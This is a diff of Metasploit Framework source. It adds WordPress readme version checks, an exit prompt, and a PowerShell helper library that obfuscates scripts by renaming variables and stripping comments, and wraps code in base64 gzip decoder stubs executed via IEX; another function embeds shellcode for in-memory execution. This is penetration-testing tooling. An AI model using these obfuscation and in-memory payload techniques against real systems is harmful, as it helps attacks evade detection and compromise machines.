return version if version
|
return version if version
|
||||||
|
|
||||||
# detect version from opml
|
# detect version from opml
|
||||||
version = wordpress_version_helper(wordpress_url_opml, /generator="wordpress\/#{wordpress_version_pattern}"/i)
|
version = wordpress_version_helper(wordpress_url_opml, /generator="wordpress\/#{WORDPRESS_VERSION_PATTERN}"/i)
|
||||||
return version if version
|
return version if version
|
||||||
|
|
||||||
nil
|
nil
|
||||||
end
|
end
|
||||||
|
|
||||||
private
|
# Checks a readme for a vulnerable version
|
||||||
|
|
||||||
# Used to check if the version is correct: must contain at least one dot.
|
|
||||||
#
|
#
|
||||||
# @return [ String ]
|
# @param [String] plugin_name The name of the plugin
|
||||||
def wordpress_version_pattern
|
# @param [String] fixed_version The version the vulnerability was fixed in
|
||||||
'([^\r\n"\']+\.[^\r\n"\']+)'
|
# @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced
|
||||||
|
#
|
||||||
|
# @return [ Msf::Exploit::CheckCode ]
|
||||||
|
def check_plugin_version_from_readme(plugin_name, fixed_version, vuln_introduced_version = nil)
|
||||||
|
check_version_from_readme(:plugin, plugin_name, fixed_version, vuln_introduced_version)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Checks a readme for a vulnerable version
|
||||||
|
#
|
||||||
|
# @param [String] theme_name The name of the theme
|
||||||
|
# @param [String] fixed_version The version the vulnerability was fixed in
|
||||||
|
# @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced
|
||||||
|
#
|
||||||
|
# @return [ Msf::Exploit::CheckCode ]
|
||||||
|
def check_theme_version_from_readme(theme_name, fixed_version, vuln_introduced_version = nil)
|
||||||
|
check_version_from_readme(:theme, theme_name, fixed_version, vuln_introduced_version)
|
||||||
|
end
|
||||||
|
|
||||||
|
private
|
||||||
|
|
||||||
def wordpress_version_helper(url, regex)
|
def wordpress_version_helper(url, regex)
|
||||||
res = send_request_cgi({
|
res = send_request_cgi(
|
||||||
'method' => 'GET',
|
'method' => 'GET',
|
||||||
'uri' => url
|
'uri' => url
|
||||||
})
|
)
|
||||||
if res
|
if res
|
||||||
match = res.body.match(regex)
|
match = res.body.match(regex)
|
||||||
if match
|
return match[1] if match
|
||||||
return match[1]
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
nil
|
nil
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def check_version_from_readme(type, name, fixed_version, vuln_introduced_version = nil)
|
||||||
|
case type
|
||||||
|
when :plugin
|
||||||
|
folder = 'plugins'
|
||||||
|
when :theme
|
||||||
|
folder = 'themes'
|
||||||
|
else
|
||||||
|
fail("Unknown readme type #{type}")
|
||||||
|
end
|
||||||
|
|
||||||
|
readme_url = normalize_uri(target_uri.path, wp_content_dir, folder, name, 'readme.txt')
|
||||||
|
res = send_request_cgi(
|
||||||
|
'uri' => readme_url,
|
||||||
|
'method' => 'GET'
|
||||||
|
)
|
||||||
|
# no readme.txt present
|
||||||
|
return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200
|
||||||
|
|
||||||
|
# try to extract version from readme
|
||||||
|
# Example line:
|
||||||
|
# Stable tag: 2.6.6
|
||||||
|
version = res.body.to_s[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1]
|
||||||
|
|
||||||
|
# readme present, but no version number
|
||||||
|
return Msf::Exploit::CheckCode::Detected if version.nil?
|
||||||
|
|
||||||
|
vprint_status("#{peer} - Found version #{version} of the #{type}")
|
||||||
|
|
||||||
|
# Version older than fixed version
|
||||||
|
if Gem::Version.new(version) < Gem::Version.new(fixed_version)
|
||||||
|
if vuln_introduced_version.nil?
|
||||||
|
# All versions are vulnerable
|
||||||
|
return Msf::Exploit::CheckCode::Appears
|
||||||
|
# vuln_introduced_version provided, check if version is newer
|
||||||
|
elsif Gem::Version.new(version) >= Gem::Version.new(vuln_introduced_version)
|
||||||
|
return Msf::Exploit::CheckCode::Appears
|
||||||
|
else
|
||||||
|
# Not in range, nut vulnerable
|
||||||
|
return Msf::Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
# version newer than fixed version
|
||||||
|
else
|
||||||
|
return Msf::Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
@ -670,6 +670,14 @@ class Core
|
|||||||
if(framework.sessions.length > 0 and not forced)
|
if(framework.sessions.length > 0 and not forced)
|
||||||
print_status("You have active sessions open, to exit anyway type \"exit -y\"")
|
print_status("You have active sessions open, to exit anyway type \"exit -y\"")
|
||||||
return
|
return
|
||||||
|
elsif(driver.confirm_exit and not forced)
|
||||||
|
print("Are you sure you want to exit Metasploit? [y/N]: ")
|
||||||
|
response = gets.downcase.chomp
|
||||||
|
if(response == "y" || response == "yes")
|
||||||
|
driver.stop
|
||||||
|
else
|
||||||
|
return
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
driver.stop
|
driver.stop
|
||||||
|
@ -1855,7 +1855,7 @@ class Db
|
|||||||
# Miscellaneous option helpers
|
# Miscellaneous option helpers
|
||||||
#
|
#
|
||||||
|
|
||||||
# Parse +arg+ into a {RangeWalker} and append the result into +host_ranges+
|
# Parse +arg+ into a {Rex::Socket::RangeWalker} and append the result into +host_ranges+
|
||||||
#
|
#
|
||||||
# @note This modifies +host_ranges+ in place
|
# @note This modifies +host_ranges+ in place
|
||||||
#
|
#
|
||||||
|
@ -158,6 +158,9 @@ class Driver < Msf::Ui::Driver
|
|||||||
# Whether or not command passthru should be allowed
|
# Whether or not command passthru should be allowed
|
||||||
self.command_passthru = (opts['AllowCommandPassthru'] == false) ? false : true
|
self.command_passthru = (opts['AllowCommandPassthru'] == false) ? false : true
|
||||||
|
|
||||||
|
# Whether or not to confirm before exiting
|
||||||
|
self.confirm_exit = (opts['ConfirmExit'] == true) ? true : false
|
||||||
|
|
||||||
# Disables "dangerous" functionality of the console
|
# Disables "dangerous" functionality of the console
|
||||||
@defanged = opts['Defanged'] == true
|
@defanged = opts['Defanged'] == true
|
||||||
|
|
||||||
@ -602,6 +605,10 @@ class Driver < Msf::Ui::Driver
|
|||||||
# The framework instance associated with this driver.
|
# The framework instance associated with this driver.
|
||||||
#
|
#
|
||||||
attr_reader :framework
|
attr_reader :framework
|
||||||
|
#
|
||||||
|
# Whether or not to confirm before exiting
|
||||||
|
#
|
||||||
|
attr_reader :confirm_exit
|
||||||
#
|
#
|
||||||
# Whether or not commands can be passed through.
|
# Whether or not commands can be passed through.
|
||||||
#
|
#
|
||||||
@ -638,6 +645,7 @@ class Driver < Msf::Ui::Driver
|
|||||||
protected
|
protected
|
||||||
|
|
||||||
attr_writer :framework # :nodoc:
|
attr_writer :framework # :nodoc:
|
||||||
|
attr_writer :confirm_exit # :nodoc:
|
||||||
attr_writer :command_passthru # :nodoc:
|
attr_writer :command_passthru # :nodoc:
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
here = File.expand_path(File.dirname(__FILE__))
|
here = File.expand_path(File.dirname(__FILE__))
|
||||||
|
|
||||||
|
@ -1084,17 +1084,18 @@ require 'msf/core/exe/segment_injector'
|
|||||||
end
|
end
|
||||||
|
|
||||||
def self.to_win32pe_psh_net(framework, code, opts={})
|
def self.to_win32pe_psh_net(framework, code, opts={})
|
||||||
hash_sub = {}
|
rig = Rex::RandomIdentifierGenerator.new()
|
||||||
hash_sub[:var_code] = Rex::Text.rand_text_alpha(rand(8)+8)
|
rig.init_var(:var_code)
|
||||||
hash_sub[:var_kernel32] = Rex::Text.rand_text_alpha(rand(8)+8)
|
rig.init_var(:var_kernel32)
|
||||||
hash_sub[:var_baseaddr] = Rex::Text.rand_text_alpha(rand(8)+8)
|
rig.init_var(:var_baseaddr)
|
||||||
hash_sub[:var_threadHandle] = Rex::Text.rand_text_alpha(rand(8)+8)
|
rig.init_var(:var_threadHandle)
|
||||||
hash_sub[:var_output] = Rex::Text.rand_text_alpha(rand(8)+8)
|
rig.init_var(:var_output)
|
||||||
hash_sub[:var_temp] = Rex::Text.rand_text_alpha(rand(8)+8)
|
rig.init_var(:var_codeProvider)
|
||||||
hash_sub[:var_codeProvider] = Rex::Text.rand_text_alpha(rand(8)+8)
|
rig.init_var(:var_compileParams)
|
||||||
hash_sub[:var_compileParams] = Rex::Text.rand_text_alpha(rand(8)+8)
|
rig.init_var(:var_syscode)
|
||||||
hash_sub[:var_syscode] = Rex::Text.rand_text_alpha(rand(8)+8)
|
rig.init_var(:var_temp)
|
||||||
|
|
||||||
|
hash_sub = rig.to_h
|
||||||
hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)
|
hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)
|
||||||
|
|
||||||
return read_replace_script_template("to_mem_dotnet.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
|
return read_replace_script_template("to_mem_dotnet.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
require 'rex/poly/machine'
|
require 'rex/poly/machine'
|
||||||
|
|
||||||
|
62
lib/rex/exploitation/powershell.rb
Normal file
62
lib/rex/exploitation/powershell.rb
Normal file
@ -0,0 +1,62 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
require 'rex/exploitation/powershell/output'
|
||||||
|
require 'rex/exploitation/powershell/parser'
|
||||||
|
require 'rex/exploitation/powershell/obfu'
|
||||||
|
require 'rex/exploitation/powershell/param'
|
||||||
|
require 'rex/exploitation/powershell/function'
|
||||||
|
require 'rex/exploitation/powershell/script'
|
||||||
|
require 'rex/exploitation/powershell/psh_methods'
|
||||||
|
|
||||||
|
module Rex
|
||||||
|
module Exploitation
|
||||||
|
module Powershell
|
||||||
|
#
|
||||||
|
# Reads script into a PowershellScript
|
||||||
|
#
|
||||||
|
# @param script_path [String] Path to the Script File
|
||||||
|
#
|
||||||
|
# @return [Script] Powershell Script object
|
||||||
|
def self.read_script(script_path)
|
||||||
|
Rex::Exploitation::Powershell::Script.new(script_path)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Insert substitutions into the powershell script
|
||||||
|
# If script is a path to a file then read the file
|
||||||
|
# otherwise treat it as the contents of a file
|
||||||
|
#
|
||||||
|
# @param script [String] Script file or path to script
|
||||||
|
# @param subs [Array] Substitutions to insert
|
||||||
|
#
|
||||||
|
# @return [String] Modified script file
|
||||||
|
def self.make_subs(script, subs)
|
||||||
|
if ::File.file?(script)
|
||||||
|
script = ::File.read(script)
|
||||||
|
end
|
||||||
|
|
||||||
|
subs.each do |set|
|
||||||
|
script.gsub!(set[0], set[1])
|
||||||
|
end
|
||||||
|
|
||||||
|
script
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Return an array of substitutions for use in make_subs
|
||||||
|
#
|
||||||
|
# @param subs [String] A ; seperated list of substitutions
|
||||||
|
#
|
||||||
|
# @return [Array] An array of substitutions
|
||||||
|
def self.process_subs(subs)
|
||||||
|
return [] if subs.nil? or subs.empty?
|
||||||
|
new_subs = []
|
||||||
|
subs.split(';').each do |set|
|
||||||
|
new_subs << set.split(',', 2)
|
||||||
|
end
|
||||||
|
|
||||||
|
new_subs
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
63
lib/rex/exploitation/powershell/function.rb
Normal file
63
lib/rex/exploitation/powershell/function.rb
Normal file
@ -0,0 +1,63 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
module Rex
|
||||||
|
module Exploitation
|
||||||
|
module Powershell
|
||||||
|
class Function
|
||||||
|
FUNCTION_REGEX = Regexp.new(/\[(\w+\[\])\]\$(\w+)\s?=|\[(\w+)\]\$(\w+)\s?=|\[(\w+\[\])\]\s+?\$(\w+)\s+=|\[(\w+)\]\s+\$(\w+)\s?=/i)
|
||||||
|
PARAMETER_REGEX = Regexp.new(/param\s+\(|param\(/im)
|
||||||
|
attr_accessor :code, :name, :params
|
||||||
|
|
||||||
|
include Output
|
||||||
|
include Parser
|
||||||
|
include Obfu
|
||||||
|
|
||||||
|
def initialize(name, code)
|
||||||
|
@name = name
|
||||||
|
@code = code
|
||||||
|
populate_params
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# To String
|
||||||
|
#
|
||||||
|
# @return [String] Powershell function
|
||||||
|
def to_s
|
||||||
|
"function #{name} #{code}"
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Identify the parameters from the code and
|
||||||
|
# store as Param in @params
|
||||||
|
#
|
||||||
|
def populate_params
|
||||||
|
@params = []
|
||||||
|
start = code.index(PARAMETER_REGEX)
|
||||||
|
return unless start
|
||||||
|
# Get start of our block
|
||||||
|
idx = scan_with_index('(', code[start..-1]).first.last + start
|
||||||
|
pclause = block_extract(idx)
|
||||||
|
|
||||||
|
matches = pclause.scan(FUNCTION_REGEX)
|
||||||
|
|
||||||
|
# Ignore assignment, create params with class and variable names
|
||||||
|
matches.each do |param|
|
||||||
|
klass = nil
|
||||||
|
name = nil
|
||||||
|
param.each do |value|
|
||||||
|
if value
|
||||||
|
if klass
|
||||||
|
name = value
|
||||||
|
@params << Param.new(klass, name)
|
||||||
|
break
|
||||||
|
else
|
||||||
|
klass = value
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
98
lib/rex/exploitation/powershell/obfu.rb
Normal file
98
lib/rex/exploitation/powershell/obfu.rb
Normal file
@ -0,0 +1,98 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
require 'rex/text'
|
||||||
|
|
||||||
|
module Rex
|
||||||
|
module Exploitation
|
||||||
|
module Powershell
|
||||||
|
module Obfu
|
||||||
|
MULTI_LINE_COMMENTS_REGEX = Regexp.new(/<#(.*?)#>/m)
|
||||||
|
SINGLE_LINE_COMMENTS_REGEX = Regexp.new(/^\s*#(?!.*region)(.*$)/i)
|
||||||
|
WINDOWS_EOL_REGEX = Regexp.new(/[\r\n]+/)
|
||||||
|
UNIX_EOL_REGEX = Regexp.new(/[\n]+/)
|
||||||
|
WHITESPACE_REGEX = Regexp.new(/\s+/)
|
||||||
|
EMPTY_LINE_REGEX = Regexp.new(/^$|^\s+$/)
|
||||||
|
|
||||||
|
#
|
||||||
|
# Remove comments
|
||||||
|
#
|
||||||
|
# @return [String] code without comments
|
||||||
|
def strip_comments
|
||||||
|
# Multi line
|
||||||
|
code.gsub!(MULTI_LINE_COMMENTS_REGEX, '')
|
||||||
|
# Single line
|
||||||
|
code.gsub!(SINGLE_LINE_COMMENTS_REGEX, '')
|
||||||
|
|
||||||
|
code
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Remove empty lines
|
||||||
|
#
|
||||||
|
# @return [String] code without empty lines
|
||||||
|
def strip_empty_lines
|
||||||
|
# Windows EOL
|
||||||
|
code.gsub!(WINDOWS_EOL_REGEX, "\r\n")
|
||||||
|
# UNIX EOL
|
||||||
|
code.gsub!(UNIX_EOL_REGEX, "\n")
|
||||||
|
|
||||||
|
code
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Remove whitespace
|
||||||
|
# This can break some codes using inline .NET
|
||||||
|
#
|
||||||
|
# @return [String] code with whitespace stripped
|
||||||
|
def strip_whitespace
|
||||||
|
code.gsub!(WHITESPACE_REGEX, ' ')
|
||||||
|
|
||||||
|
code
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Identify variables and replace them
|
||||||
|
#
|
||||||
|
# @return [String] code with variable names replaced with unique values
|
||||||
|
def sub_vars
|
||||||
|
# Get list of variables, remove reserved
|
||||||
|
get_var_names.each do |var, _sub|
|
||||||
|
code.gsub!(var, "$#{@rig.init_var(var)}")
|
||||||
|
end
|
||||||
|
|
||||||
|
code
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Identify function names and replace them
|
||||||
|
#
|
||||||
|
# @return [String] code with function names replaced with unique
|
||||||
|
# values
|
||||||
|
def sub_funcs
|
||||||
|
# Find out function names, make map
|
||||||
|
get_func_names.each do |var, _sub|
|
||||||
|
code.gsub!(var, @rig.init_var(var))
|
||||||
|
end
|
||||||
|
|
||||||
|
code
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Perform standard substitutions
|
||||||
|
#
|
||||||
|
# @return [String] code with standard substitution methods applied
|
||||||
|
def standard_subs(subs = %w(strip_comments strip_whitespace sub_funcs sub_vars))
|
||||||
|
# Save us the trouble of breaking injected .NET and such
|
||||||
|
subs.delete('strip_whitespace') unless get_string_literals.empty?
|
||||||
|
# Run selected modifiers
|
||||||
|
subs.each do |modifier|
|
||||||
|
send(modifier)
|
||||||
|
end
|
||||||
|
code.gsub!(EMPTY_LINE_REGEX, '')
|
||||||
|
|
||||||
|
code
|
||||||
|
end
|
||||||
|
end # Obfu
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
151
lib/rex/exploitation/powershell/output.rb
Normal file
151
lib/rex/exploitation/powershell/output.rb
Normal file
@ -0,0 +1,151 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
require 'zlib'
|
||||||
|
require 'rex/text'
|
||||||
|
|
||||||
|
module Rex
|
||||||
|
module Exploitation
|
||||||
|
module Powershell
|
||||||
|
module Output
|
||||||
|
#
|
||||||
|
# To String
|
||||||
|
#
|
||||||
|
# @return [String] Code
|
||||||
|
def to_s
|
||||||
|
code
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Returns code size
|
||||||
|
#
|
||||||
|
# @return [Integer] Code size
|
||||||
|
def size
|
||||||
|
code.size
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Return code with numbered lines
|
||||||
|
#
|
||||||
|
# @return [String] Powershell code with line numbers
|
||||||
|
def to_s_lineno
|
||||||
|
numbered = ''
|
||||||
|
code.split(/\r\n|\n/).each_with_index do |line, idx|
|
||||||
|
numbered << "#{idx}: #{line}"
|
||||||
|
end
|
||||||
|
|
||||||
|
numbered
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Return a zlib compressed powershell code wrapped in decode stub
|
||||||
|
#
|
||||||
|
# @param eof [String] End of file identifier to append to code
|
||||||
|
#
|
||||||
|
# @return [String] Zlib compressed powershell code wrapped in
|
||||||
|
# decompression stub
|
||||||
|
def deflate_code(eof = nil)
|
||||||
|
# Compress using the Deflate algorithm
|
||||||
|
compressed_stream = ::Zlib::Deflate.deflate(code,
|
||||||
|
::Zlib::BEST_COMPRESSION)
|
||||||
|
|
||||||
|
# Base64 encode the compressed file contents
|
||||||
|
encoded_stream = Rex::Text.encode_base64(compressed_stream)
|
||||||
|
|
||||||
|
# Build the powershell expression
|
||||||
|
# Decode base64 encoded command and create a stream object
|
||||||
|
psh_expression = '$s=New-Object IO.MemoryStream(,'
|
||||||
|
psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));"
|
||||||
|
# Read & delete the first two bytes due to incompatibility with MS
|
||||||
|
psh_expression << '$s.ReadByte();'
|
||||||
|
psh_expression << '$s.ReadByte();'
|
||||||
|
# Uncompress and invoke the expression (execute)
|
||||||
|
psh_expression << 'IEX (New-Object IO.StreamReader('
|
||||||
|
psh_expression << 'New-Object IO.Compression.DeflateStream('
|
||||||
|
psh_expression << '$s,'
|
||||||
|
psh_expression << '[IO.Compression.CompressionMode]::Decompress)'
|
||||||
|
psh_expression << ')).ReadToEnd();'
|
||||||
|
|
||||||
|
# If eof is set, add a marker to signify end of code output
|
||||||
|
# if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
|
||||||
|
psh_expression << "echo '#{eof}';" if eof
|
||||||
|
|
||||||
|
@code = psh_expression
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Return Base64 encoded powershell code
|
||||||
|
#
|
||||||
|
# @return [String] Base64 encoded powershell code
|
||||||
|
def encode_code
|
||||||
|
@code = Rex::Text.encode_base64(Rex::Text.to_unicode(code))
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Return a gzip compressed powershell code wrapped in decoder stub
|
||||||
|
#
|
||||||
|
# @param eof [String] End of file identifier to append to code
|
||||||
|
#
|
||||||
|
# @return [String] Gzip compressed powershell code wrapped in
|
||||||
|
# decompression stub
|
||||||
|
def gzip_code(eof = nil)
|
||||||
|
# Compress using the Deflate algorithm
|
||||||
|
compressed_stream = Rex::Text.gzip(code)
|
||||||
|
|
||||||
|
# Base64 encode the compressed file contents
|
||||||
|
encoded_stream = Rex::Text.encode_base64(compressed_stream)
|
||||||
|
|
||||||
|
# Build the powershell expression
|
||||||
|
# Decode base64 encoded command and create a stream object
|
||||||
|
psh_expression = '$s=New-Object IO.MemoryStream(,'
|
||||||
|
psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));"
|
||||||
|
# Uncompress and invoke the expression (execute)
|
||||||
|
psh_expression << 'IEX (New-Object IO.StreamReader('
|
||||||
|
psh_expression << 'New-Object IO.Compression.GzipStream('
|
||||||
|
psh_expression << '$s,'
|
||||||
|
psh_expression << '[IO.Compression.CompressionMode]::Decompress)'
|
||||||
|
psh_expression << ')).ReadToEnd();'
|
||||||
|
|
||||||
|
# If eof is set, add a marker to signify end of code output
|
||||||
|
# if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
|
||||||
|
psh_expression << "echo '#{eof}';" if eof
|
||||||
|
|
||||||
|
@code = psh_expression
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Compresses script contents with gzip (default) or deflate
|
||||||
|
#
|
||||||
|
# @param eof [String] End of file identifier to append to code
|
||||||
|
# @param gzip [Boolean] Whether to use gzip compression or deflate
|
||||||
|
#
|
||||||
|
# @return [String] Compressed code wrapped in decompression stub
|
||||||
|
def compress_code(eof = nil, gzip = true)
|
||||||
|
@code = gzip ? gzip_code(eof) : deflate_code(eof)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Reverse the compression process
|
||||||
|
# Try gzip, inflate if that fails
|
||||||
|
#
|
||||||
|
# @return [String] Decompressed powershell code
|
||||||
|
def decompress_code
|
||||||
|
# Extract substring with payload
|
||||||
|
encoded_stream = @code.scan(/FromBase64String\('(.*)'/).flatten.first
|
||||||
|
# Decode and decompress the string
|
||||||
|
unencoded = Rex::Text.decode_base64(encoded_stream)
|
||||||
|
begin
|
||||||
|
@code = Rex::Text.ungzip(unencoded) || Rex::Text.zlib_inflate(unencoded)
|
||||||
|
rescue Zlib::GzipFile::Error
|
||||||
|
begin
|
||||||
|
@code = Rex::Text.zlib_inflate(unencoded)
|
||||||
|
rescue Zlib::DataError => e
|
||||||
|
raise RuntimeError, 'Invalid compression'
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
@code
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
23
lib/rex/exploitation/powershell/param.rb
Normal file
23
lib/rex/exploitation/powershell/param.rb
Normal file
@ -0,0 +1,23 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
module Rex
|
||||||
|
module Exploitation
|
||||||
|
module Powershell
|
||||||
|
class Param
|
||||||
|
attr_accessor :klass, :name
|
||||||
|
def initialize(klass, name)
|
||||||
|
@klass = klass.strip
|
||||||
|
@name = name.strip.gsub(/\s|,/, '')
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# To String
|
||||||
|
#
|
||||||
|
# @return [String] Powershell param
|
||||||
|
def to_s
|
||||||
|
"[#{klass}]$#{name}"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
183
lib/rex/exploitation/powershell/parser.rb
Normal file
183
lib/rex/exploitation/powershell/parser.rb
Normal file
@ -0,0 +1,183 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
module Rex
|
||||||
|
module Exploitation
|
||||||
|
module Powershell
|
||||||
|
module Parser
|
||||||
|
# Reserved special variables
|
||||||
|
# Acquired with: Get-Variable | Format-Table name, value -auto
|
||||||
|
RESERVED_VARIABLE_NAMES = [
|
||||||
|
'$$',
|
||||||
|
'$?',
|
||||||
|
'$^',
|
||||||
|
'$_',
|
||||||
|
'$args',
|
||||||
|
'$ConfirmPreference',
|
||||||
|
'$ConsoleFileName',
|
||||||
|
'$DebugPreference',
|
||||||
|
'$Env',
|
||||||
|
'$Error',
|
||||||
|
'$ErrorActionPreference',
|
||||||
|
'$ErrorView',
|
||||||
|
'$ExecutionContext',
|
||||||
|
'$false',
|
||||||
|
'$FormatEnumerationLimit',
|
||||||
|
'$HOME',
|
||||||
|
'$Host',
|
||||||
|
'$input',
|
||||||
|
'$LASTEXITCODE',
|
||||||
|
'$MaximumAliasCount',
|
||||||
|
'$MaximumDriveCount',
|
||||||
|
'$MaximumErrorCount',
|
||||||
|
'$MaximumFunctionCount',
|
||||||
|
'$MaximumHistoryCount',
|
||||||
|
'$MaximumVariableCount',
|
||||||
|
'$MyInvocation',
|
||||||
|
'$NestedPromptLevel',
|
||||||
|
'$null',
|
||||||
|
'$OutputEncoding',
|
||||||
|
'$PID',
|
||||||
|
'$PROFILE',
|
||||||
|
'$ProgressPreference',
|
||||||
|
'$PSBoundParameters',
|
||||||
|
'$PSCulture',
|
||||||
|
'$PSEmailServer',
|
||||||
|
'$PSHOME',
|
||||||
|
'$PSSessionApplicationName',
|
||||||
|
'$PSSessionConfigurationName',
|
||||||
|
'$PSSessionOption',
|
||||||
|
'$PSUICulture',
|
||||||
|
'$PSVersionTable',
|
||||||
|
'$PWD',
|
||||||
|
'$ReportErrorShowExceptionClass',
|
||||||
|
'$ReportErrorShowInnerException',
|
||||||
|
'$ReportErrorShowSource',
|
||||||
|
'$ReportErrorShowStackTrace',
|
||||||
|
'$ShellId',
|
||||||
|
'$StackTrace',
|
||||||
|
'$true',
|
||||||
|
'$VerbosePreference',
|
||||||
|
'$WarningPreference',
|
||||||
|
'$WhatIfPreference'
|
||||||
|
].map(&:downcase).freeze
|
||||||
|
|
||||||
|
#
|
||||||
|
# Get variable names from code, removes reserved names from return
|
||||||
|
#
|
||||||
|
# @return [Array] variable names
|
||||||
|
def get_var_names
|
||||||
|
our_vars = code.scan(/\$[a-zA-Z\-\_0-9]+/).uniq.flatten.map(&:strip)
|
||||||
|
our_vars.select { |v| !RESERVED_VARIABLE_NAMES.include?(v.downcase) }
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Get function names from code
|
||||||
|
#
|
||||||
|
# @return [Array] function names
|
||||||
|
def get_func_names
|
||||||
|
code.scan(/function\s([a-zA-Z\-\_0-9]+)/).uniq.flatten
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Attempt to find string literals in PSH expression
|
||||||
|
#
|
||||||
|
# @return [Array] string literals
|
||||||
|
def get_string_literals
|
||||||
|
code.scan(/@"(.+?)"@|@'(.+?)'@/m)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Scan code and return matches with index
|
||||||
|
#
|
||||||
|
# @param str [String] string to match in code
|
||||||
|
# @param source [String] source code to match, defaults to @code
|
||||||
|
#
|
||||||
|
# @return [Array[String,Integer]] matched items with index
|
||||||
|
def scan_with_index(str, source = code)
|
||||||
|
::Enumerator.new do |y|
|
||||||
|
source.scan(str) do
|
||||||
|
y << ::Regexp.last_match
|
||||||
|
end
|
||||||
|
end.map { |m| [m.to_s, m.offset(0)[0]] }
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Return matching bracket type
|
||||||
|
#
|
||||||
|
# @param char [String] opening bracket character
|
||||||
|
#
|
||||||
|
# @return [String] matching closing bracket
|
||||||
|
def match_start(char)
|
||||||
|
case char
|
||||||
|
when '{'
|
||||||
|
'}'
|
||||||
|
when '('
|
||||||
|
')'
|
||||||
|
when '['
|
||||||
|
']'
|
||||||
|
when '<'
|
||||||
|
'>'
|
||||||
|
else
|
||||||
|
fail ArgumentError, 'Unknown starting bracket'
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Extract block of code inside brackets/parenthesis
|
||||||
|
#
|
||||||
|
# Attempts to match the bracket at idx, handling nesting manually
|
||||||
|
# Once the balanced matching bracket is found, all script content
|
||||||
|
# between idx and the index of the matching bracket is returned
|
||||||
|
#
|
||||||
|
# @param idx [Integer] index of opening bracket
|
||||||
|
#
|
||||||
|
# @return [String] content between matching brackets
|
||||||
|
def block_extract(idx)
|
||||||
|
fail ArgumentError unless idx
|
||||||
|
|
||||||
|
if idx < 0 || idx >= code.length
|
||||||
|
fail ArgumentError, 'Invalid index'
|
||||||
|
end
|
||||||
|
|
||||||
|
start = code[idx]
|
||||||
|
stop = match_start(start)
|
||||||
|
delims = scan_with_index(/#{Regexp.escape(start)}|#{Regexp.escape(stop)}/, code[idx + 1..-1])
|
||||||
|
delims.map { |x| x[1] = x[1] + idx + 1 }
|
||||||
|
c = 1
|
||||||
|
sidx = nil
|
||||||
|
# Go through delims till we balance, get idx
|
||||||
|
while (c != 0) && (x = delims.shift)
|
||||||
|
sidx = x[1]
|
||||||
|
x[0] == stop ? c -= 1 : c += 1
|
||||||
|
end
|
||||||
|
|
||||||
|
code[idx..sidx]
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Extract a block of function code
|
||||||
|
#
|
||||||
|
# @param func_name [String] function name
|
||||||
|
